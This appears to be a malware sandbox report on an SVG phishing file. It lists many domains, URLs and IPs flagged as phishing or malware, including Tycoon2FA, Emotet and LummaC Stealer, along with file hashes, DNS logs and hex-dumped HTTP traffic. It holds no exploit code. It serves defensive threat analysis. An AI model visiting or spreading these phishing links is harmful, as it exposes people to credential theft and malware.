	https://outl0okwebadmin.pages.dev/owa	Get hash	malicious	HTMLPhisher	Browse
	https://vintagelights.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201/	Get hash	malicious	HTMLPhisher	Browse
	http://loginmlcrosoftonline365.culina.co.uk.parkettaaruhaz.hu/cache/css?email=moet@culina.co.uk	Get hash	malicious	HTMLPhisher	Browse
151.101.65.229	Ocean-T2I4I8O9.exe	Get hash	malicious	Unknown	Browse	cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
challenges.cloudflare.com	https://is.gd/UFQVAx/	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://Newscorp.wtranovations.com/edzxesfee/d205afd3/?0pcb7=dHRob3JwZUBuZXdzY29ycC5jb20=__;!!F0Stn7g!E0yRpQQMM0NAZFe0WZgVZoU9UW-O8fAzEbpBRs9Nx6gsHTBN5bkxYcJeSQF_jMoSh7a26p6PazhhZgHyEsclklDH$	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://api.dtf.ru/v2.8/redirect?to=https://gamma.app/docs/Incoming-PDF-Document-ga28akpd8nljjf8?mode=doc	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	Optimum Nationwide - development 2025.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://outl0okwebadmin.pages.dev/owa	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
jsdelivr.map.fastly.net	https://account.esign.us.com/documentWizard.html?Uv=4WaUN2Pkric74yNetF	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://Newscorp.wtranovations.com/edzxesfee/d205afd3/?0pcb7=dHRob3JwZUBuZXdzY29ycC5jb20=__;!!F0Stn7g!E0yRpQQMM0NAZFe0WZgVZoU9UW-O8fAzEbpBRs9Nx6gsHTBN5bkxYcJeSQF_jMoSh7a26p6PazhhZgHyEsclklDH$	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://api.dtf.ru/v2.8/redirect?to=https://gamma.app/docs/Incoming-PDF-Document-ga28akpd8nljjf8?mode=doc	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	http://t.dripemail2.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzQyNDg1MjAxLCJuYmYiOjE3NDI0ODUyMDEsImFjY291bnRfaWQiOiI5MjExNzMxIiwiZGVsaXZlcnlfaWQiOiI2ZGY2cmIydXVwbjY4cnNhdWo0NCIsInRva2VuIjoiNmRmNnJiMnV1cG42OHJzYXVqNDQiLCJzZW5kX2F0IjoxNzQyNDgzOTQ4LCJlbWFpbF9pZCI6MTA1MDc4ODcsImVtYWlsYWJsZV90eXBlIjoiQnJvYWRjYXN0IiwiZW1haWxhYmxlX2lkIjo0MTkzMDc4LCJ1cmwiOiJodHRwOi8vZ2NyLnVwcGxleC5jby5rZT9fX3M9cWMwZ2JsdTk1emZnYmh3ZHp5OG4mdXRtX3NvdXJjZT1kcmlwJnV0bV9tZWRpdW09ZW1haWwmdXRtX2NhbXBhaWduPVdlK2dvdCthK21ha2VvdmVyLiJ9.nJ9tzd3-jhbWgSNwRLHamHKYwZXuNcZIG2E1QBFM5fg	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	https://web-ckjw9newsoladbdacma0202.powerappsportals.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	ACHStub_XNZSCHPTIF.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	Product_Requirements.Doc (1).HTML.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	https://u2587569.ct.sendgrid.net/ls/click?upn=u001.tNCzvDY7Bps68NDHX050sfuZjwcZnKCiceJckL-2B-2BdtgW4S9czNQzTHuxGTDYUy2rgldwS-2FXaSK9tb15A2WijtesF9nKvyaekU8V6epmALsKFNzS6qhT8Y0hQxsOJhohPcwmraeJIKZH9TyOwWHJmFuZBAHXDHHKqUVL-2FUGP0fxMK3MBdQxp6bY6Ha8NZBWkjR7mgJ5fMAAuHlcLpVUtqCKWF7-2BW-2FrkTigMom4or-2B8m-2FS4TyrdjqGrNF-2BS24W1HEc4Nny-2FQbpl5Jr7z80HD8ERxHFxRHxDPLk-2B4YAHJEAIhKPImdnrMMiJGr9A4uEtPP39M5paIcI5sxlMhNL6z-2BKgTbMjlWBJaVVTxeufFQoFkl5u4NmsI44p17fSNIf2kHaYMMtnw0u0ApwVb9wZ3tJmp8AGgV65F1zRvnrFTPWISLatDmHGN3CKd73qRTLKmto5ZSsX3-2BwDUXMaUslNCFnOeOBvQkBDvUajrHfQmlQGD0zklpJ9WRzeYfjf4q-2Bc4Qu1Nf91VjDSdu48kXA2Z83MvwnSyKbPC863DiAR29AdxPmi1nIgYKk06DgcAWMuq2ENVqbbCQtUVgtZaYHCTljloaWego9b111Sg-2Be7K5sjWZvL10Fd-2Fe8x58DkwbvBNZsy8kmn2mGi8qVqTeWx9-2Brhlr4k1qrS1CvUmSqedu0NrwPQeaJupno6T-2Bqo-2BzulaLbvdWFreaPwNJ5CTaPVCN9fpvhUAzUS-2FlWTTCA-2FnSuCPTscXiBnW-2B4ungzp4n8Lqpuk6XGZd1rraYdTpcYsjIFBAluxLUtcFe1RkWRujzmOwPcDxwpZgxVj9TsDAzb4JrMPmBN2Sin7qgSZpDFxIb3yOVqUu9FExdB-2Fwpe-2FOokwr4-3D8A5E_-2FOI-2FxWKZBS0RBubCQDq4P71qBkOoJj9TQ-2FBNKjRykiT9mUix5aObCdsaE3X4Sh22h5PBW1VseZKNRSMsHcEXChaxx4fpyalr8S5mdNAGDIFE0BdGE6SFPQC1ze3qi3ZOs99VkecPMd3ju7N-2BWWYyJE6xPy-2FgXhUKDOj-2BkfDKJ8KqABvqtFGuxd5KhNBGU7VDh7BHPjKSbdGclNFQCojq4NR0NeZ6xwwI2wKPGRZHpHU-3D	Get hash	malicious	Unknown	Browse	151.101.1.229
	http://smtp.legiteam.net/newsletters/lt.php?c=3595&m=3675&nl=1&s=ae2e0733c87747578f73487fef60fa9c&lid=128917&l=https://mardo.pk/veri?token=YnJpYW5AY2JmbG9vcnNpbmMuY29t	Get hash	malicious	Unknown	Browse	151.101.193.229
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
code.jquery.com	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://zUYhdE55WC.moydovv.com/E3vZA9xKnTKlSIK1aKHxdPAJNIK2B8R759pHRVHMant9mhDaugnmroXfaaJI3VUv31CUdIosgVXLcmQhK3CsxJtPJtDvEQKAt91kTAbcXoucgoUpxyCERfZlKSfiUM9emoii6jDM5ZoNKc1glQxJrztwicvbX4YQmjiPXMI7qfPzlqH9BcUrftRtFaq3jHOLNSFfX8xU/diaSKFTHV15tFihEpBIThwxEdyskPo0paIPPYM9wtDpmJrjiq4U0Tt7UDEqnWeRbhAvWGc92DU9yqFEuJDNMpEpK9jryHKFjWAuejFjaegj9NDBMkNMHZVO2HgACL0MF2BMAwNb0O2ngmUJwMaJDbB6QiDuTamRe49ziBEF7xYe4v6Hq7Tk8OZEPDXY03fbOkTqmiaQS/hr@vectra.ai	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://api.dtf.ru/v2.8/redirect?to=https://gamma.app/docs/Incoming-PDF-Document-ga28akpd8nljjf8?mode=doc	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://account.esign.us.com/documentWizard.html?Uv=4WaUN2Pkric74yNetF	Get hash	malicious	Unknown	Browse	151.101.193.229
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://heaps-stacks-dot-yamm-track.appspot.com/Redirect?ukey=1b8CXE9bUPWFcC1c1F8lA3RQTXwVFBpfyYcJruZUiF2I-315622270&key=YAMMID-72566926&link=https://gamma.app/docs/You-have-received-a-new-PDF-Document--h3dhybyo6gh1yrn	Get hash	malicious	HTMLPhisher	Browse	151.101.2.217
	https://us-west-2.protection.sophos.com/?d=acemlnc.com&u=aHR0cHM6Ly9nZW5lZTA4OC5hY2VtbG5jLmNvbS9sdC5waHA_eD0zRFp5fkdFNkkzak02c0IuMFE5SlZPbHoxWEVvdmdUMWpodGlrWFk2SXFUTDY1NHQwRXkueHVXLTI0MmptTkg=&i=NWViYjJhOTFjNjExZGIxNzZlNWJmMWVl&t=QzhSY081ME5acmRyK2UrZzhOeUptOEZSalJmOXBRT296T3VVSFBEYjhRaz0=&h=0f6487164a0c4d4aa48b27145a41d739&s=AVNPUEhUT0NFTkNSWVBUSVa2PvphJ-roG1YsZQ0LDcHdjkZVAn6zgPgxnVnqAkRaBrDPbAVi4RV_2I6sSDhpdAvBiK0io_RpDOPmVHnrmYq971KEABznsYh9cQWfH5jywQ	Get hash	malicious	HTMLPhisher	Browse	151.101.129.91
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
FASTLYUS	https://account.esign.us.com/documentWizard.html?Uv=4WaUN2Pkric74yNetF	Get hash	malicious	Unknown	Browse	151.101.193.229
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://heaps-stacks-dot-yamm-track.appspot.com/Redirect?ukey=1b8CXE9bUPWFcC1c1F8lA3RQTXwVFBpfyYcJruZUiF2I-315622270&key=YAMMID-72566926&link=https://gamma.app/docs/You-have-received-a-new-PDF-Document--h3dhybyo6gh1yrn	Get hash	malicious	HTMLPhisher	Browse	151.101.2.217
	https://us-west-2.protection.sophos.com/?d=acemlnc.com&u=aHR0cHM6Ly9nZW5lZTA4OC5hY2VtbG5jLmNvbS9sdC5waHA_eD0zRFp5fkdFNkkzak02c0IuMFE5SlZPbHoxWEVvdmdUMWpodGlrWFk2SXFUTDY1NHQwRXkueHVXLTI0MmptTkg=&i=NWViYjJhOTFjNjExZGIxNzZlNWJmMWVl&t=QzhSY081ME5acmRyK2UrZzhOeUptOEZSalJmOXBRT296T3VVSFBEYjhRaz0=&h=0f6487164a0c4d4aa48b27145a41d739&s=AVNPUEhUT0NFTkNSWVBUSVa2PvphJ-roG1YsZQ0LDcHdjkZVAn6zgPgxnVnqAkRaBrDPbAVi4RV_2I6sSDhpdAvBiK0io_RpDOPmVHnrmYq971KEABznsYh9cQWfH5jywQ	Get hash	malicious	HTMLPhisher	Browse	151.101.129.91
	https://ruggessd.de/Cppss/inc/Odrivex	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
DIGITALOCEAN-ASNUS	task1.exe	Get hash	malicious	Emotet	Browse	134.209.36.254
	task1.exe	Get hash	malicious	Emotet	Browse	134.209.36.254
	task1.exe	Get hash	malicious	Emotet	Browse	134.209.36.254
	task1.exe	Get hash	malicious	Emotet	Browse	134.209.36.254
	wjfOfXh.exe1.exe	Get hash	malicious	Unknown	Browse	134.209.224.96
	ht-jupit.elf	Get hash	malicious	Poseidon	Browse	142.93.165.203
	ulinux-logs.elf	Get hash	malicious	Poseidon	Browse	161.35.85.95
	http://t.dripemail2.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzQyNDg1MjAxLCJuYmYiOjE3NDI0ODUyMDEsImFjY291bnRfaWQiOiI5MjExNzMxIiwiZGVsaXZlcnlfaWQiOiI2ZGY2cmIydXVwbjY4cnNhdWo0NCIsInRva2VuIjoiNmRmNnJiMnV1cG42OHJzYXVqNDQiLCJzZW5kX2F0IjoxNzQyNDgzOTQ4LCJlbWFpbF9pZCI6MTA1MDc4ODcsImVtYWlsYWJsZV90eXBlIjoiQnJvYWRjYXN0IiwiZW1haWxhYmxlX2lkIjo0MTkzMDc4LCJ1cmwiOiJodHRwOi8vZ2NyLnVwcGxleC5jby5rZT9fX3M9cWMwZ2JsdTk1emZnYmh3ZHp5OG4mdXRtX3NvdXJjZT1kcmlwJnV0bV9tZWRpdW09ZW1haWwmdXRtX2NhbXBhaWduPVdlK2dvdCthK21ha2VvdmVyLiJ9.nJ9tzd3-jhbWgSNwRLHamHKYwZXuNcZIG2E1QBFM5fg	Get hash	malicious	HTMLPhisher	Browse	162.243.170.173
	resgod.arm.elf	Get hash	malicious	Mirai	Browse	46.101.242.253
CLOUDFLARENETUS	https://www.octopuspro.life/#/login	Get hash	malicious	Unknown	Browse	172.67.186.63
	EvaxLAF.exe1.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	merged.exe.bin.exe	Get hash	malicious	Njrat	Browse	104.26.13.205
	qNEBT6e.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.167.18
	Setup.exe.bin.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.21.32.1
	ZqkKpwG.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	50KfF6O.exe1.exe	Get hash	malicious	Skuld Stealer	Browse	172.67.74.152
	meguebestkingofinternationalkingscomingback.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.80.1
	cidQ6US.exe1.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 51 x 42, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1229
Entropy (8bit):	7.795282114082737
Encrypted:	false
SSDEEP:	24:vgEq3r36F6CRRtOD5R+wQmZQqdxfNxUsVadACg0aG:vgEq3DcRRu7QfmUsVadAl0aG
MD5:	E198D3D3F75FF270E4DE1C36E0BF4A8A
SHA1:	C9B68D5472B2B32B46CB0922CEC0FEA76ABB1DC3
SHA-256:	029B50BBBC9BCE1593AE21671033736AE44111EE275E346B6316AE508DD61685
SHA-512:	24A9385BB7AA23B8656843591B34200EDFBB13AE77062780892897C77005F299D31CD29325D62D48F2230DF016C98643D8BD0CB02CBEEDA08E7AF78A4EFC67F6
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR...3.........xcy....sRGB.........IDAThC..K+W....Q...P.....b....N2...nZZJW]va.....A]vU..A7....h...B)..n..F..5.d......G:30d&.s...{....vp.%".....~h...^...Oqm..8.6.E...$I..........&.^/U.U..0.....?uX...zy.R1.......\...5.Q.......a........_w..4M.G..&...............k...R.F.e...YF.J.$I.@..`.8.~.".........,...k.0B.r9844D.L..3;;k..E.p{{.......r.?,.J.......6GFF.?...:.FQ...~.....tpp.QU....R.f...a..L........A6........(J...<CR.u...l&.`gg..0.1..b..>.....#.r^..g..a....SW..\| I.+`.c..Q.0..y..3..........[`. ..j0^./........MD...(.r.A...v.u....cgD4...".=q....=n..Xa.....D6sj..........a..m3..q..Isss...)...X..6.cW..e.CEz..R...:......EQ.3..D.QK7...i.#`.c...I$.&....S`..$G..Y.....R..-A....f..h.C.}..1f...q3......Q...c.q..D.......RL.>..p.8.........Y.] (...J!R/.3C0......[6......b.....0....oR:S...../.0:......P.v.Dh.~...H&..J.....y.............I.R....\|vvvf.t.. ...q...P(....!QI..b..i{.[\\.,..I...x$..9.N.......A...f...E..i\|.z..W...t..F ..A,...

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	4.760547791054888
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	Paradigm-corp00990__098.html
File size:	5'123 bytes
MD5:	448fb5d55cd720e407dc5b8eb69fc248
SHA1:	ca45fd1056e8de1cf0b08edad6dd18834ea87660
SHA256:	55d6378973f937b62196eaf13e5b8d0a693b4231c477da81b12754329c50bb85
SHA512:	dcbe96254056998c9fbbc83cfc7c7544c19fd5111c25322d9541eda8b739b22811232e4352f339215171020d9a045c6cd06be3784fc9874e0b5c8a3395a84c37
SSDEEP:	96:aDPFVbPFVbXPFVsrUHcgzicHCrTycnozMICBZpmfsifjp5Cz:aDPHPnPArU8ofWozm/p2s
TLSH:	D4B1951DB8E126530233A3B25B6BF148EA32562F114202D87FDDDB241FB15A417A7ECC
File Content Preview:	<?xml version="1.0" encoding="UTF-8"?>..<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="display:block; position:fixed; top:0; left:0;" overflow="hidden" xml:space="preserve">.. The inventor studied a riddle while taught

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2025 19:07:45.180015087 CET	63458	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:45.180221081 CET	62822	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:45.209912062 CET	53	62762	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:45.258136988 CET	53	51675	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:45.295044899 CET	53	62822	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:45.326025009 CET	53	63458	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:45.678116083 CET	53	53220	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:45.970460892 CET	53	59354	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:49.845668077 CET	63664	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:49.845798969 CET	53572	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:49.949872971 CET	53	63664	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:49.950562000 CET	53	53572	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:50.896120071 CET	52813	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:50.896272898 CET	52047	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:51.002748966 CET	53	52047	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:51.002784014 CET	53	52813	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:53.103931904 CET	63703	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:53.104639053 CET	49679	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:53.210133076 CET	53	63703	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:54.270667076 CET	50602	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:54.270667076 CET	57104	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:54.377681017 CET	53	50602	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:54.378047943 CET	53	57104	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:54.740225077 CET	49169	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:54.740225077 CET	60552	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:07:54.845593929 CET	53	49169	1.1.1.1	192.168.2.16
Mar 21, 2025 19:07:54.861835003 CET	53	60552	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:03.017770052 CET	53	50400	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:11.456331015 CET	64946	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:08:11.456381083 CET	62573	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:08:11.562149048 CET	53	64946	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:11.562738895 CET	53	62573	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:21.962423086 CET	53	49766	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:32.996603966 CET	55447	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:08:32.996783018 CET	64407	53	192.168.2.16	1.1.1.1
Mar 21, 2025 19:08:33.102891922 CET	53	55447	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:33.103892088 CET	53	64407	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:44.466856003 CET	53	57983	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:45.107598066 CET	53	50237	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:48.304466009 CET	53	62407	1.1.1.1	192.168.2.16
Mar 21, 2025 19:08:52.061254025 CET	53	50422	1.1.1.1	192.168.2.16
Mar 21, 2025 19:09:01.421261072 CET	138	138	192.168.2.16	192.168.2.255
Mar 21, 2025 19:09:14.058383942 CET	53	56613	1.1.1.1	192.168.2.16

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:46 UTC	647	OUT	GET / HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:07:48 UTC	486	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:46 GMT Server: Apache/2.4.62 (Ubuntu) Set-Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Content-Length: 4007 Connection: close Content-Type: text/html; charset=UTF-8
2025-03-21 18:07:48 UTC	4007	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 69 73 70 6c 61 79 69 6e 67 20 61 20 70 61 67 65 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2e 64 65 6c 69 76 65 72 65 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Displaying a page...</title> <style> body.delivered { display: none;

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:07:49 UTC	751	OUT	GET / HTTP/1.1 Host: reasdti.org Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
2025-03-21 18:07:50 UTC	434	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:07:49 GMT Server: Apache/2.4.62 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-21 18:07:50 UTC	7758	IN	Data Raw: 33 63 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 23 72 65 67 69 6f 6e 28 63 6f 6c 6c 61 70 73 65 64 29 2d 2d 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 20 7b Data Ascii: 3c55<!DOCTYPE html><html lang="en-US"> ... #region(collapsed)--> <head> <style> * { box-sizing: border-box; margin: 0; padding: 0; } html {
